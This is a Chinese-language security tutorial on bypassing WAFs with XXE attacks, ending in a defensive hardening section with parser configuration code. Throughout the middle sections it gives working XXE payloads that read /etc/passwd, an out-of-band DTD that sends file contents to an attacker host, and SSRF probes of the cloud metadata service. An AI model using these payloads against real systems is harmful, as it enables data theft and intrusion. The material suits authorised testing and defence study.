实战绕过WAF的XXE攻击:编码、协议与XML特性利用技巧
1. 项目概述:理解XXE与WAF的攻防本质
在Web安全测试的日常工作中,XML外部实体注入(XXE)漏洞的利用与防御,始终是一个充满技术对抗的焦点。当攻击者试图利用XXE读取服务器敏感文件、发起内部网络请求甚至执行远程代码时,部署在应用前端的Web应用防火墙(WAF)便成为了一道关键的防线。然而,道高一尺魔高一丈,WAF的规则并非无懈可击。这个项目探讨的核心,正是那些在实战中可能奏效的、针对WAF的XXE绕过技巧。这并非鼓励攻击,而是从防御者视角出发,深入理解攻击者的思维和手段,从而构建更坚固的防御体系。对于安全研究人员、渗透测试工程师和致力于应用安全的开发者而言,掌握这些绕过手法的原理,意味着你能更准确地评估自身系统的风险,编写出更有效的防护规则,真正做到知己知彼。
XXE漏洞的根源在于XML解析器配置不当,允许加载外部实体。一个典型的恶意Payload可能包含类似<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>的声明。主流的WAF(如Cloudflare、ModSecurity等)会维护一个庞大的特征库,对传入的请求体进行正则匹配或语法分析,一旦检测到SYSTEM、PUBLIC、ENTITY、file://、http://等敏感关键词或特定结构,便会拦截请求。我们的“绕过”工作,本质上就是研究如何通过变形、混淆、利用协议或解析差异,让恶意的XXE Payload“穿”过这些检测规则,同时还能被后端有漏洞的XML解析器正确解析并执行。这就像一场精心设计的伪装游戏,你需要同时欺骗门口的保安(WAF)和说服屋内的管家(有漏洞的解析器)。
2. 核心绕过思路与技术原理拆解
要系统性地思考绕过,我们必须从WAF的检测原理入手。WAF通常基于正则表达式(Regex)或基于语义的解析树进行分析。其检测逻辑可能存在几个盲点:1) 对数据编码的解码顺序与后端不一致;2) 对XML规范中某些晦涩特性的支持不完整;3) 对请求包不同部分(如头部、参数)的关联性检查不足;4) 对某些特定协议或本地文件访问方式的过滤存在遗漏。基于这些盲点,我们可以衍生出以下几类核心绕过思路。
2.1 编码与多重编码混淆
这是最基础也是最常用的绕过手段之一。其核心原理是利用WAF解码层与后端应用解码层在处理顺序或支持格式上的差异。
原理详解:假设WAF的检测流程是“接收原始请求 -> 进行一次URL解码 -> 进行XXE关键词匹配”。如果我们传入的Payload是经过双重编码的,例如将SYSTEM中的S编码为%53,再将%编码为%25,最终得到%2553。WAF解码一次后看到的是%53YSTEM,它可能不认为这是一个完整的SYSTEM关键词从而放行。而当这个数据流到达后端应用时,应用框架或XML解析器可能会自动进行两次URL解码,最终还原出SYSTEM,导致漏洞被成功触发。
实操示例与注意事项:
- 常用编码类型:
- URL编码:
<->%3c,>->%3e,空格 ->%20,"->%22。 - HTML实体编码:
<-><,&->&。这在XML上下文有时也有效。 - Unicode编码:
<->\u003c,S->\u0053。需要后端解析器支持Unicode解码。 - 混合编码:对Payload的不同部分采用不同的编码方式,增加检测复杂度。
- URL编码:
注意:编码绕过的成功率高度依赖于WAF与后端的具体实现。在测试时,需要采用“爬坡测试”法,即从单次编码开始尝试,逐步增加编码层数和混合复杂度。同时,要特别注意编码后可能引入的空白字符(如
+和%20),这有时会导致XML解析错误。
2.2 利用XML规范特性与解析差异
XML标准本身非常复杂,包含了许多可选特性、晦涩的语法和历史上遗留的兼容性处理方式。不同的XML解析器(如libxml2, Xerces, .NET XmlDocument等)对这些特性的支持程度和解析行为可能存在细微差别,而WAF的规则可能无法覆盖所有情况。
2.2.1 文档类型定义(DTD)声明的多种格式DTD声明不只有<!DOCTYPE root [ ... ]>这一种形式。
- 外部DTD引用:
<!DOCTYPE root SYSTEM “http://attacker.com/evil.dtd”>。WAF可能只检测内联DTD中的关键词,而忽略对外部URL的引用。一旦外部DTD被加载,其中可以包含完整的恶意实体声明。 - 公共标识符(PUBLIC):
<!DOCTYPE root PUBLIC “-//Some//ID” “http://attacker.com/evil.dtd”>。PUBLIC标识符常用于引用公开的DTD,但后面的URL仍然是可控的。有些WAF对PUBLIC标识符的过滤可能弱于SYSTEM。 - 内联参数实体:参数实体是DTD中用于声明的实体,以
%开头。它们可以在DTD内部被引用,用于构造更复杂的嵌套或条件实体。例如:
在这个例子中,关键的<!DOCTYPE foo [ <!ENTITY % start “<![CDATA[“> <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % end “]]>”> <!ENTITY % dtd SYSTEM “http://attacker.com/combine.dtd”> %dtd; ]>SYSTEM指令被拆分到参数实体% file中,而%dtd则引用了外部DTD来组合执行。WAF可能无法递归展开和检测参数实体中的内容。
2.2.2 利用UTF-7编码有些陈旧的或配置不当的XML解析器,如果通过HTTP头Content-Type: text/xml; charset=utf-7指定,可以处理UTF-7编码的XML。UTF-7编码会将ASCII字符(如<,>)转换成以+开头的格式(例如+ADw-代表<)。绝大多数WAF默认不会检测UTF-7编码的内容,因为这不是Web传输的常见编码。如果后端解析器支持,攻击者可以将整个恶意Payload用UTF-7编码后发送。
2.2.3 标签/属性名混淆在XML中,标签和属性名本身可以包含某些特殊字符,或者可以通过添加无关的命名空间、注释来干扰WAF的简单模式匹配。
- 插入无关属性:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///c:/windows/win.ini” extra=”ignored”>]>。WAF的正则可能严格匹配SYSTEM “...“的模式,而extra属性的插入可能破坏这一匹配。 - 使用CDATA区块包裹:在某些上下文中,可以将恶意内容包裹在
<![CDATA[ ... ]]>中。虽然CDATA通常用于包裹字符数据,但在DTD声明中巧妙构造,有时能起到混淆作用。不过,这需要非常精确的构造,因为CDATA在DTD中的使用是受限的。
2.3 协议与路径混淆
WAF的过滤规则往往针对常见的危险协议(file://,http://,ftp://)和路径模式(../,/etc/passwd)。绕过思路就是使用非常见协议、特定平台的路径格式或编码后的路径。
2.3.1 非常见协议或包装器
- PHP特定:如果后端是PHP,且启用了特定的包装器,可以尝试:
php://filter/convert.base64-encode/resource=/etc/passwd:这个协议链不直接读取文件,而是通过PHP的过滤器将文件内容进行base64编码后输出。php://协议对于WAF来说可能不如file://敏感。expect://或phar://:这些是更特殊的协议,需要特定扩展支持,但一旦存在,可导致更严重的RCE。
- Java特定:在Java环境中,可以尝试
jar://,netdoc://等协议。 - .NET特定:可以尝试使用
\\UNC\路径格式访问网络共享文件。
2.3.2 路径编码与变形
- URL编码路径分隔符:
file:///etc/passwd->file:///etc%2fpasswd或file:///etc%252fpasswd(双重编码)。有些WAF的路径检测可能基于简单的字符串匹配/etc/passwd,编码后即可绕过。 - 使用绝对路径的变体:在Windows上,除了
C:\windows\win.ini,还可以尝试C:/windows/win.ini(正斜杠)、\\?\C:\windows\win.ini(长路径格式)或..\..\windows\win.ini。 - 利用环境变量或特殊位置:例如,尝试读取
file:///proc/self/environ(Linux进程环境,可能包含密钥)、file:///proc/version或file:///sys/class/net/eth0/address等,这些路径可能不在WAF的黑名单中。
2.4 请求拆分与分片传输
这是一种更高级的绕过技术,旨在将单个恶意的XXE Payload拆分成多个看似无害的片段,通过HTTP请求的不同部分(如多个参数、Cookie、HTTP头部)分别发送,并利用后端应用的某种特性(如参数拼接、日志记录、缓存机制)在服务器侧重新组合。
原理与场景:假设一个应用会将某个自定义HTTP头(如X-Forwarded-For)的值记录到日志,并且后续的某个XML处理功能会读取这个日志文件并将其内容作为XML解析。攻击者可以将XXE Payload的一部分放在X-Forwarded-For头中,另一部分放在POST正文里。单独看,每个部分都不构成有效的XXE。但当它们被拼接并解析时,漏洞就触发了。这种手法严重依赖于特定的应用逻辑,通用性较低,但一旦存在,极难被基于单次请求检测的WAF发现。
3. 实战绕过流程与案例解析
理解了原理,我们通过一个模拟的实战场景,将上述技巧串联起来,演示一个完整的、循序渐进的绕过测试流程。假设目标是一个接受XML输入的后端API端点/api/process,其前端部署了未知规则的WAF。
3.1 信息收集与基线测试
首先,我们需要确定目标是否存在XXE漏洞,以及WAF的拦截基线。
- 发送一个最基础的、明文的XXE Payload:
POST /api/process HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data> - 观察响应:
- 情况A:返回
403 Forbidden、406 Not Acceptable或包含Blocked by WAF等字样的页面。这说明WAF生效,且规则匹配了我们的基础Payload。这是好消息,确认了目标有防护,也为我们提供了测试起点。 - 情况B:返回了
/etc/passwd文件的内容。这说明漏洞存在且WAF没防住(或者没开XXE防护)。测试结束(并立即上报漏洞)。 - 情况C:返回了应用程序错误(如XML解析错误)。这可能是因为路径不存在、权限不足或实体引用方式不对。这需要调整Payload,但暂时无法判断WAF是否存在。
- 情况A:返回
假设我们遇到情况A,WAF拦截了基础Payload。
3.2 实施编码绕过
我们从简单的编码开始尝试。
- 尝试URL编码整个DOCTYPE声明或关键词:
将<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe %53YSTEM "file:///etc/passwd">]> <data>&xxe;</data>SYSTEM替换为%53YSTEM。如果WAF是简单的字符串匹配,可能绕过。 - 尝试多重URL编码: 使用工具对
SYSTEM "file:///etc/passwd"这部分进行两次URL编码。注意,要对整个字符串编码,而不是单个字符。 - 尝试HTML实体编码:
这里<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data><被编码为<,>被编码为>。发送后,观察WAF是否拦截。这取决于WAF是否在匹配前进行HTML解码。 - 尝试Unicode编码:
<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe \u0053\u0059\u0053\u0054\u0045\u004d "file:///etc/passwd">]> <data>&xxe;</data>\u0053是S的Unicode转义。这需要后端解析器支持。
3.3 利用XML特性进阶测试
如果编码无效,转向利用XML特性。
- 尝试外部DTD引用:
在<?xml version="1.0"?> <!DOCTYPE test SYSTEM "http://our-attacker-server.com/evil.dtd"> <data>&xxe;</data>evil.dtd文件中,我们放置完整的恶意实体声明:<!ENTITY xxe SYSTEM “file:///etc/passwd”>。很多WAF对单独一个外部SYSTEM声明的检测较弱,尤其是如果URL看起来是“正常”域名时。 - 尝试使用PUBLIC标识符:
<?xml version="1.0"?> <!DOCTYPE test PUBLIC "-//Some//ID" "http://our-attacker-server.com/evil.dtd"> <data>&xxe;</data> - 尝试使用参数实体嵌套外部DTD(更隐蔽):
在<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://our-attacker-server.com/part1.dtd"> %remote; ]> <data>&xxe;</data>part1.dtd中,可以进一步包含或定义恶意实体。这种分阶段加载的方式,使得单个请求中的恶意内容更少。
3.4 协议与路径混淆测试
假设WAF死死盯住了file://和/etc/passwd。
- 尝试PHP包装器(如果目标是PHP):
返回的将是base64编码后的文件内容,需要在客户端解码。<!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]> - 尝试编码路径:
或者尝试读取其他可能存在的文件,如<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc%2fpasswd">]>/proc/self/environ、/etc/hosts、C:\Windows\System32\drivers\etc\hosts。 - 尝试使用无协议的文件路径(在某些Java解析器中可能有效):
这依赖于解析器将相对或绝对路径解释为本地文件系统路径。<!DOCTYPE test [<!ENTITY xxe SYSTEM "/etc/passwd">]>
3.5 综合构造与模糊测试
如果以上单一方法都失败,可以尝试组合拳,并进行系统的模糊测试(Fuzzing)。
- 组合示例:使用外部DTD引用,并且DTD的URL本身经过编码。
<!DOCTYPE test SYSTEM "http://our-attacker-server.com/%65%76%69%6c.dtd"> - 使用模糊测试工具:如
ffuf、wfuzz或自定义Python脚本,针对SYSTEM、PUBLIC、协议类型、路径等位置,替换成预定义的混淆载荷字典进行批量测试。字典应包含各种编码、大小写变换(System、SYStem)、插入空白/换行/制表符、添加无关属性等变体。
4. 常见WAF绕过场景与排查技巧实录
在实际测试中,你会遇到各种各样的情况。下面记录几种典型场景和我的排查思路。
4.1 场景一:WAF拦截了file://但放行了http://
现象:使用file://读取本地文件被拦截,但使用http://让服务器访问外部URL却成功了。分析与绕过:这说明WAF的规则集可能更侧重于防止本地文件读取(LFI)和数据外泄,而对服务器发起出站请求(SSRF)的检测较弱。这是一个重要的突破口。
- 利用SSRF探测内网:你可以尝试将
SYSTEM后的URL改为内网地址,如http://192.168.1.1:8080、http://169.254.169.254/latest/meta-data/(AWS元数据服务),来探测内网资产或获取云服务器实例的敏感信息。 - 结合其他协议:如果内网存在Redis、Memcached等服务,可以尝试使用
gopher://或dict://协议与之交互,可能实现更深入的利用。 - 回传数据:如何将读取到的本地文件内容通过SSRF带出来?这需要一点技巧。可以尝试让服务器将文件内容作为参数请求到你的公网服务器。例如,在你自己控制的
evil.dtd中这样写:
但这里有个问题,<!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % eval “<!ENTITY % exfil SYSTEM ‘http://our-attacker-server.com/?data=%file;’>”> %eval; %exfil;file:///etc/passwd的内容可能包含非法XML字符(如<,&),直接放在URL里会破坏结构。更可靠的方法是先进行Base64编码(如果支持php过滤器),或者利用FTP等协议外传。
4.2 场景二:WAF似乎基于“关键字权重”而非精确匹配
现象:简单的编码(如%53YSTEM)被绕过,但组合了file://和/etc/passwd的完整Payload又被拦截。分析与绕过:这可能是一种基于机器学习或加权评分的WAF。它不只看有没有某个关键词,而是看请求中“可疑元素”的总体得分。
- 减少“可疑度”:将攻击载荷拆分。使用外部DTD,让主请求只包含一个简单的
SYSTEM声明指向外部URL,这个URL本身看起来人畜无害(如http://api.example.com/config.xml)。将真正的恶意负载(读取文件、发起请求)完全放在外部服务器上。 - 增加“正常”噪音:在XML中插入大量合法的、无关的标签、注释或命名空间声明,稀释恶意内容的密度。
- 改变请求方式:如果API也接受JSON,但后端会将JSON转换成XML处理(某些老旧SOAP服务),可以尝试从JSON入口提交,WAF对JSON的检测规则可能不同。
4.3 场景三:WAF拦截了POST正文,但忽略了其他位置
现象:在POST的XML体中提交Payload被拦截,但发现应用还会处理Content-Type头、URL参数或Cookie中的某些值。分析与排查:
- 检查所有输入点:仔细审计目标应用,看是否有任何用户可控的数据最终会流入XML解析器。例如:
- 上传文件:上传一个SVG(本质是XML)图片,其元数据是否被解析?
- 文件导入功能:导入Excel(OOXML是ZIP包内的XML)、Word文档时。
- 单点登录(SSO)的SAML响应:SAML是基于XML的,如果应用作为SAML SP,接收的SAML Response是否被严格验证?
- API参数:某些API可能将参数值嵌入到XML模板中。
- 测试其他HTTP部分:尝试将Payload的片段放在
X-Forwarded-Host、User-Agent或自定义Cookie中,观察应用日志或错误信息是否有变化。 - 时间盲注测试:如果怀疑存在基于错误的XXE被拦截,可以尝试使用带外(OOB)技术或时间盲注来确认。例如,尝试让服务器访问一个你控制的、带有延迟响应的HTTP端点(
http://your-server.com/delay?time=5),通过观察响应时间是否延长来判断请求是否被成功发出。
4.4 通用排查技巧与工具
- 错误信息是朋友:仔细阅读WAF拦截页面和应用程序返回的错误信息。它们有时会透露规则ID(如ModSecurity的
Msg字段)或触发了哪个关键词。这能帮你精准调整Payload。 - 使用差分分析:准备两个几乎相同的请求,一个被拦截,一个被放行。逐个字节地比较它们,找出触发WAF的具体边界在哪里。Burp Suite的
Comparer工具非常适合做这个。 - 利用WAF检测的滞后性:公开的WAF规则(如OWASP Core Rule Set)更新需要时间。关注最新的XXE研究论文、安全会议(如BlackHat, DEFCON)议题和漏洞赏金报告,里面披露的新型绕过技巧可能在短期内未被主流WAF纳入规则。
- 工具辅助:
- Burp Suite + Collaborator:这是黄金组合。利用Burp的Intruder进行模糊测试,并配置Collaborator服务器来接收OOB请求,这对于检测盲XXE至关重要。
- XXE Inject:一个Burp扩展,提供了丰富的XXE Payload字典和自动化测试功能。
- 手动构建Payload:理解原理后,最高效的方式往往是针对目标情况手动构造和调整Payload。自动化工具容易产生大量流量被屏蔽。
5. 防御视角:如何构建更有效的XXE防护
作为防御者,了解攻击手法是为了更好地防护。仅仅依赖WAF是远远不够的,必须实施纵深防御。
根本解决:禁用外部实体解析这是最有效的一步。在使用的XML解析库中,显式地禁用外部实体(External Entity)和外部DTD(External DTD)加载。
- Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true); // 首选:完全禁用DTD // 或者,如果必须使用DTD,则禁用外部实体: dbf.setFeature(“http://xml.org/sax/features/external-general-entities”, false); dbf.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false); dbf.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd”, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); - Python (lxml):
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) # 关键参数 - .NET (XmlDocument):
XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; // 将解析器设置为null - PHP (libxml):
libxml_disable_entity_loader(true);
- Java (DocumentBuilderFactory):
输入验证与净化:
- 对用户输入的XML进行严格的模式验证(XSD),拒绝不符合预期结构的文档。
- 在将用户输入嵌入XML模板时,务必对特殊字符(
<,>,&,”,’)进行正确的XML实体转义。
升级与补丁:始终使用最新版本的XML解析库,旧版本可能存在已知的解析差异或漏洞。
WAF规则精细化:
- 不要只依赖默认规则集。根据业务特点,自定义规则来检测上述绕过手法,例如检测各种编码、检测非常见协议、限制DTD声明的大小和复杂度、对出站HTTP请求(来自服务器本身)进行监控等。
- 考虑使用基于语义分析的WAF或运行时应用自我保护(RASP)技术,它们能更好地理解上下文,而不仅仅是模式匹配。
输出编码:即使实体被解析,如果其内容在响应中被正确编码(如HTML编码),那么文件内容也不会在浏览器中渲染执行,降低了危害。
绕过的艺术本质上是攻击者和防御者之间对协议规范、系统实现和检测逻辑理解深度的较量。作为安全从业者,持续学习、深入理解底层原理、并在合规的测试环境中不断演练,是提升攻防两端能力的唯一途径。每一次成功的绕过尝试,都应该转化为一条更坚固的防御规则。
